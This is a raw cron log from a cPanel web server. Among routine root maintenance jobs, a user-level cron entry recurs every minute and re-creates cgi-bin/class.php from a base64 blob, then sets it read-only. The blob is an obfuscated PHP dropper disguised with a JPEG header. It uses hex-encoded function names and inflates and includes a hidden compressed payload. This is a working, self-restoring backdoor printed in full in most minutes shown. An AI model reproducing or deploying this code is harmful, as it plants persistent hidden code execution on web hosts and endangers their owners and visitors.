Sep  2 04:57:01 server CROND[17205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:57:01 server CROND[17207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:57:01 server CROND[17208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:57:01 server CROND[17206]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:58:01 server CROND[17592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:58:01 server CROND[17591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:58:01 server CROND[17593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:59:01 server CROND[17979]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:59:01 server CROND[17980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:59:01 server CROND[17981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:00:01 server CROND[18457]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:00:01 server CROND[18458]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:00:01 server CROND[18462]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:00:01 server CROND[18471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:00:01 server CROND[18480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:00:01 server CROND[18481]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:00:01 server CROND[18485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:00:01 server CROND[18482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:00:01 server CROND[18483]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 05:01:01 server CROND[19297]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 05:01:01 server CROND[19298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:01:01 server CROND[19299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:01:01 server CROND[19300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:01:01 server run-parts(/etc/cron.hourly)[19297]: starting 0anacron
Sep  2 05:01:01 server run-parts(/etc/cron.hourly)[19321]: finished 0anacron
Sep  2 05:02:01 server CROND[19722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:02:01 server CROND[19723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:02:01 server CROND[19724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:03:01 server CROND[20093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:03:01 server CROND[20094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:03:01 server CROND[20096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:04:01 server CROND[20462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:04:01 server CROND[20464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:04:01 server CROND[20465]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:05:01 server CROND[20898]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:05:01 server CROND[20900]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  2 05:05:01 server CROND[20906]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:05:01 server CROND[20909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:05:01 server CROND[20917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:05:01 server CROND[20918]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:05:01 server CROND[20916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:05:01 server CROND[20919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:05:01 server CROND[20921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:06:01 server CROND[21820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:06:01 server CROND[21821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:06:01 server CROND[21827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:07:01 server CROND[22198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:07:01 server CROND[22200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:07:01 server CROND[22199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:08:01 server CROND[22614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:08:01 server CROND[22613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:08:01 server CROND[22615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
